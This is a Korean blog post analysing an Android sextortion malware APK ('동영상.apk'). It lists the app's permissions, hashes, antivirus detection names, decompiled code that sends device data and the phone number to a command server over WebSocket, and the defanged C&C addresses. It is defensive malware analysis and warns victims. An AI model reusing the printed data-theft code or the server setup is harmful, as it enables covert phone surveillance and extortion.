꿈을꾸는 파랑새

오늘 몸캠 추정이 되는 안드로이드 악성코드인 동영상.apk(2021.06.04)에 대해 적어 보겠습니다. 일단 악성코드는 자위영상.apk 또는 동영상.apk로 악성코드가 유포되고 있으며 해당 악성코드를 뜯어보면 자위영상 이라는 이름보다는 동영상이라는 이름으로 돼 있는 것을 볼 수가 있습니다. 몸캠 피싱은 일단 남녀노소 누구나 당할 수가 있습니다.

몸캠 이라는 것은 영어로는 sextortion로 부르고 있으며 피해자로부터 성적 호기심 등을 이용해서 몰래 녹화, 녹음을 통해서 금전 및 가상화페 등을 요구하는 범죄입니다. 보통 몸캠 하자고 유혹하여 해킹 어플을 설치하게 하거나 해킹 링크로의 접속을 유도하고 상대방에게 노출 사진을 찍게 하게 하고 이것을 스마트폰에 저장된 연락처에 퍼뜨리겠다는 협박을 통해 돈을 뜯어내는 사기 방법입니다.
스마트폰 일단 랜덤채팅앱을 설치돼 있으며 갑자기 모르는 여자로부터 묻지도 따지지도 않고 스카이프, 라인, 카카오톡 등 영상통화가 가능하고 PC와 스마트폰 간에 연동할 수 있는 앱으로 대화를 이어나가자고 하면 몸캠 피싱일 가능성이 거의 99.9%에 가깝고 기본적인 레퍼토리는 영상통화 서비스를 이용해서 서로 자위하는 모습을 보여주자고 그러거나 그냥 만나자고 해놓고 만나기 전에 영상통화하고 만나자고 하는 방법을 사용하고 있으며 영상통화를 하면 노출하는 여자의 모습이 나오며 무조건 영상통화에 얼굴도 나와 달라고 요구를 하며 물론 상대 쪽은 전부 다 편집한 영상이고 영상통화를 하다가 영상의 행동이 반복되는 것처럼 느껴질 수 있고 이런저런 목적으로 이제 apk 파일을 보내고 해당 APK 파일을 설치를 실행하면 악성앱이 실행을 하게 되고
악성앱이 실행이 되면 연락처, GPS, 전화권한을 획득해서 악성앱에 삽입이 돼 있는 C&C 서버에 전송하게 돼 있습니다. 예를 들어서 연락처에 접근할 필요가 없는 앱에서 연락처 권한을 요구하면 의심해 보아야 합니다. 그냥 APK 앱을 보낼 수도 있고 zip 파일에 숨겨서 보내는 악성코드 제작자 있습니다

해당 어플을 설치를 하면 개인정보를 C&C에 전송되는 방식으로 스마트폰에 있는 개인정보를 취득합니다. 해당 악성코드 안드로이드 권한은 다음과 같은 권한으로 구성돼 있습니다.

동영상 악성코드 안드로이드 권한
동영상 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<permission android:name="com.vvaas.ttyuuvice.andpermission.bridge" android:protectionLevel="normal" android:permissionGroup="com.vvaas.ttyuuvice.andpermission"/>
<uses-permission android:name="com.vvaas.ttyuuvice.andpermission.bridge"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

보면 악성코드 안드로이드 권한을 보면 일단 기본적으로 스마트폰 카메라, 인터넷 연결, 외장 공간 읽고 쓰기,휴대폰전화 상태 및 ID 읽기, 문자 읽고 쓰기,녹음(물론 강제 녹음 도 포함),문자 보내기, 전화 통화내역 가져오기, 연락처 읽고 쓰기, 기기 검색을 시작하거나 블루투스 설정을 조작하기 위해서 BLUETOOTH_ADMIN 이라는 권한도 선언 등을 볼 수가 있습니다.

 

한마디로 너의 스마트폰의 권한을 가져가서 너의 개인정보같이 공유하자! 좋게 이야기하면 이런 소리이고 나쁜 말로 하면 너의 스마트폰 권한 다 가져가서 네가 녹화하고 강제로 녹음 한 것 가지고 당신이 아는 지인에게 해당 영상 전송할 것일 것이고 우리 입 막는 방법은 돈을 달라! 라는 이야기입니다. 물론 돈을 준다고 해도 이런 협박은 계속 됩니다.
일단 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:자위영상.apk
사이즈:5,065,033 Bytes
CRC32:f384300b
MD5:a5f5e62440948190cb2e91d1a61d1fdf
SHA-1:5a38d5877f97a91b121a13e7b56933b839c5ce26
SHA-256:913724315d80ebb1057dbdb2bf5e808a957dc76e52a6f01f0f932966c229ce20
입니다. 그리고 바이러스토탈 기준 2021-06-03 13:53:38 UTC 기준으로 탐지되고 있는 백신 업체, 보안 업체 들은 다음과 같습니다.
AegisLab:Trojan.AndroidOS.Boogr.C!c
AhnLab-V3:Trojan/Android.Jystealer.1019637
Alibaba:TrojanSpy:Android/SAgnt.a255c1ba
Avast-Mobile:APK:RepSandbox [Trj]
Avira (no cloud):ANDROID/Spy.Agent.lnibh
BitDefenderFalx:Android.Riskware.HiddenApp.NP
CAT-QuickHeal:Android.Agent.Ae2e8
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.855.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BRN
Fortinet:Android/SmsSpy.BRN!tr
Ikarus:Trojan.AndroidOS.Agent

K7GW:Spyware ( 0057cd151 )
Kaspersky:HEUR:Trojan.AndroidOS.Boogr.gsh
MAX:Malware (ai Score=99)
McAfee:Artemis!A5F5E6244094
McAfee-GW-Edition:Artemis
Microsoft:TrojanSpy:AndroidOS/SAgnt.A!MTB
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
Trustlook:Android.PUA.DebugKey

androidx.appcompat.app.AppCompatDelegateImpl
androidx.appcompat.app.AppCompatDelegateImpl

로 탐지를 하고 있습니다. 즉 일단 백신 앱을 설치를 했으면 기본적으로 탐지하고 있기 때문에 해당 앱을 다운로드 하거나 앱을 설치를 하려고 하면 사용자에게 너~악성코드 탐지되었다. 삭제하라고 할 것입니다.
앞서 이야기 한 것처럼 앱 이름은 자위영상 이라고 돼 있지만 실제로 앱을 분석을 해보면 다음과 같이 앱 이름은 동영상이라는 것을 확인할 수가 있습니다.
앱 이름: 동영상
package name:com.vletsaxs2.ttyuu
providers:androidx.core.content.FileProvider
그리고 androidx.appcompat.app.AppCompatDelegateImpl 부분에서는 스마트폰의 IMEI 정보를 획득하기 위한 코드가 있는 것을 볼 수가 있습니다.

st.menu.stopDispatchingItemsChanged();
            if (st.frozenActionViewState != null) {
                st.menu.restoreActionViewStates(st.frozenActionViewState);
                st.frozenActionViewState = null;
            }
            if (!cb.onPreparePanel(0, st.createdPanelView, st.menu)) {
                if (isActionBarMenu && (decorContentParent = this.mDecorContentParent) != null) {
                    decorContentParent.setMenu((Menu) null, this.mActionMenuPresenterCallback);
                }
                st.menu.startDispatchingItemsChanged();
                return false;
            }
            st.qwertyMode = KeyCharacterMap.load(event != null ? event.getDeviceId() : -1).getKeyboardType() != 1;
            st.menu.setQwertyMode(st.qwertyMode);
            st.menu.startDispatchingItemsChanged();
        }
        st.isPrepared = true;
        st.isHandled = false;
        this.mPreparedPanel = st;
        return true;
    }

물론 해당 부분뿐만 아니라 ToolbarActionBar,WindowDecorActionBar 에서도 IMEI 정보를 가져가기 위한 코드들이 존재합니다.
그리고 com.vletsaxs2.ttyuu.sad.WebSocketService 에서는 문자 관련 코드들을 확인할 수가 있습니다.

public void onMessage(String message) {
                    int i;
                    String str = message;
                    int ksua = 0;
                    int i2 = 0;
                    while (true) {
                        if (i2 >= new Random().nextInt(100)) {
                            break;
                        }
                        Log.i(WebSocketService.this.TAG, "onReceive: i->" + i2);
                        ksua += i2;
                        Log.i(WebSocketService.this.TAG, "onReceive: i*ksua->" + (ksua * i2));
                        i2++;
                    }
                    if (ksua != new Random().nextInt(1000000)) {
                        Log.i(WebSocketService.this.TAG, str);
                        CommandData commandData = (CommandData) JSON.parseObject(JSON.toJSONString(((CommandData) JSON.parseObject(str, CommandData.class)).getPayload()), CommandData.class);
                        PushData pushData = new PushData();
                        if (commandData.getType().intValue() == DataType.DEVICE.code()) {
                            if (commandData.getAction() == ActionType.SYNC.code()) {
                                pushData.setData(AllUtil.getDeviceAllInfo(WebSocketService.this.context));
                                int ois = 7;
                                int oos = 100;
                                while (ois * oos < 50000) {
                                    ois += ksua;
                                    Log.i(WebSocketService.this.TAG, "onMessage: ois" + ois);
                                    oos -= ksua;
                                    if (oos <= 0) {
                                        break;
                                    }
                                }
                                pushData.setType(Integer.valueOf(DataType.DEVICE.code()));
                                pushData.setPhone(sp.getString(Constants.phone, ""));
                                pushData.setAndroidID(sp.getString(Constants.uuid, ""));
                                MyApplication.getWebSocketClient().send(JSON.toJSONString(pushData));
                                Log.i(WebSocketService.this.TAG, "COMMAND->DEVICE->SYNC->pushData: " + JSON.toJSONString(pushData));
                                int i3 = ksua;
                                return;
                            }

com.vletsaxs2.ttyuu.ac.ZeroActivity 에서는 다음과 같은 코드를 확인할 수가 있습니다.

com.vletsaxs2.ttyuu.ac.ZeroActivity
com.vletsaxs2.ttyuu.ac.ZeroActivity

protected void onResume() {
    super.onResume();
    try {
      SharedPreferences sharedPreferences = getSharedPreferences("config", 0);
      String str = sharedPreferences.getString("uuid", "");
      this.AndroidID = str;
      if ("".equalsIgnoreCase(str)) {
        this.AndroidID = UUID.randomUUID().toString();
        sharedPreferences.edit().putString("uuid", this.AndroidID).commit();
      } 
      str = sharedPreferences.getString("phone", "");
      this.phone = str;
      if ("".equals(str)) {
        this.phone = ((TelephonyManager)getSystemService("phone")).getLine1Number();
        sharedPreferences.edit().putString("phone", this.phone).commit();
      } 
    } catch (Exception exception) {
      exception.printStackTrace();
    } 
    if (!Utils.isServiceRunning((Context)this, WebSocketService.class))
      startService(new Intent((Context)this, StartService.class)); 
    if ((new Random()).nextInt(10000) == 100)
      startActivity(new Intent((Context)this, AjkActivity.class)); 
  }
}		

그리고 해당 악성코드에 포함된 인터넷 주소는 다음과 같습니다.

Bytecode Viewer 로 본 악성코드 주소
Bytecode Viewer 로 본 악성코드 주소

hxxps://www.googleapis.com/auth/fitness(.)reproductive_health.write
K-(.)Ki.Ki/K-.
hxxps://www.googleapis(.)com/auth/fitness.location.write
hxxps://www.googleapis(.)com/auth/games
hxxp://www.lets-go(.)top:6506/JYSystem/restInt/v3/collect/getToken
hxxp://www.slf4j(.)org/codes.html#StaticLoggerBinder
hxxp://www.slf4j(.)org/codes.html#version_mismatch
vnd.android(.)cursor.item/phone_v2
hxxps://www.googleapis(.)com/auth/drive.file
vnd.android.cursor(.)item/name
hxxps://www.googleapis(.)com/auth/plus.me
hxxps://www.googleapis(.)com/auth/drive
hxxp://www.slf4j(.)org/codes.html#unsuccessfulInit
hxxps://www.googleapis(.)com/auth/fitness.body_temperature.write
hxxps://plus.google(.)com
hxxp://www.slf4j(.)org/codes.html#null_MDCA
hxxps://www.googleapis(.)com/auth/fitness.location.read
hxxps://www.googleapis(.)com/auth/fitness.body_temperature.read
hxxps://www.googleapis(.)com/auth/fitness.activity.read
hxxps://www.googleapis(.)com/auth/fitness.activity.write
hxxp://www.slf4j(.)org/codes.html#loggerNameMismatch
hxxps://www.googleapis(.)com/auth/fitness.nutrition.read
hxxps://www.googleapis(.)com/auth/fitness.blood_pressure.read
hxxp://www.slf4j(.)org/codes.html#no_static_mdc_binder
hxxps://www.googleapis(.)com/auth/fitness.body.read
hxxps://www.googleapis(.)com/auth/plus.login
hxxp://www.slf4j(.)org/codes.html#null_LF
hxxps://www.googleapis(.)com/auth/fitness.nutrition.write
hxxps://www.googleapis(.)com/auth/games_lite
hxxps://www.googleapis(.)com/auth/datastoremobile
hxxps://www.googleapis(.)com/auth/appstate
vnd.android(.0cursor.item/organization
hxxps://www.googleapis(.)com/auth/fitness.blood_glucose.write
vnd.android(.)cursor.item/email_v2
hxxps://www.googleapis(.)com/auth/fitness.body.write
hxxps://www.googleapis(.)com/auth/fitness.oxygen_saturation.write
hxxps://www.googleapis(.)com/auth/drive.appdata
hxxps://www.googleapis(.)com/auth/games.firstparty
hxxp://180(.)215.254.23:9903/JYSystem/restInt/log/app
hxxps://www.googleapis(.)com/auth/fitness.reproductive_health.read
hxxps://www.googleapis(.)com/auth/fitness.blood_pressure.write
hxxp://www.slf4j(.)org/codes.html#multiple_bindings
hxxp://www.slf4j(.)org/codes.html#replay
hxxps://www.googleapis(.)com/auth/drive.apps
hxxp://schemas.android(.)com/apk/res/android,
hxxp://lame(.)sf.net
hxxp://www.slf4j(.)org/codes.html
hxxps://www.googleapis(.)com/auth/fitness.blood_glucose.read
hxxps://www.googleapis(.)com/auth/fitness.oxygen_saturation.read"
hxxp://www.slf4j(.)org/codes.html#substituteLogger

이며 해당 악성코드 서버 들은 사실상 다음이 핵심입니다.

180.215(.)254.23:9903
www(.)lets-go(.)top:6506

해당 악성코드에서 resources\res 폴더를 열어 보면 다양한 언어로 표시되기 위해 언어 번역이 된 파일들을 볼 수가 있습니다.

언어 번역
언어 번역

인증서를 열어보면 다음과 같은 정보를 확인할 수가 있습니다.

악성코드 인증서 내용
악성코드 인증서 내용

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            93:6e:ac:be:07:f2:01:df
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com
        Validity
            Not Before: Feb 29 01:33:46 2008 GMT
            Not After : Jul 17 01:33:46 2035 GMT
        Subject: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com

기본적인 예방 방법은 다음과 같습니다.
안드로이드 스마트폰에서는 기본적으로 외부 앱을 설치를 하면 경고 메시지가 팝업이 나오고 너~설치 및 실행을 하면 우리 책임 없음이라는 경고는 무시하지 말 것
환경설정->보안->디바이스관리->알 수 없는 출처(소스) 에 체크 해제(스마트폰 제품에 따라 메뉴 다름)
특히 출처 불명의 실행파일(apk)을 스마트폰에 내려받고 이를 스마트폰에 설치하는 것은 위험한 행동입니다.
여기서 출처 불명 이는 것은 공식 앱 스토어(구글 플레이 스토어, 원 스토어, 삼성 갤럭시 스토어 등)가 아닌 문자, 모바일 채팅 등을 통해 URL에 접속해서 다운로드 하는 경우 특히 
랜덤 채팅 뭐~파일 내려받기 설치하라고 하면 100% 악성코드라고 생각을 하시면 됩니다. 특히 낯선 미모의 여성과 대화할 때 언제든지 이러한 범죄의 표적이 될 수 있음을 주의해야 합니다. 그리고 AV-TEST에서 인증하는 공신력 있는 백신 앱을 사용하는 것을 추천합니다. 오늘은 간단하게 몸캠 피싱(sextortion)에 대해 간단하게 알아보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band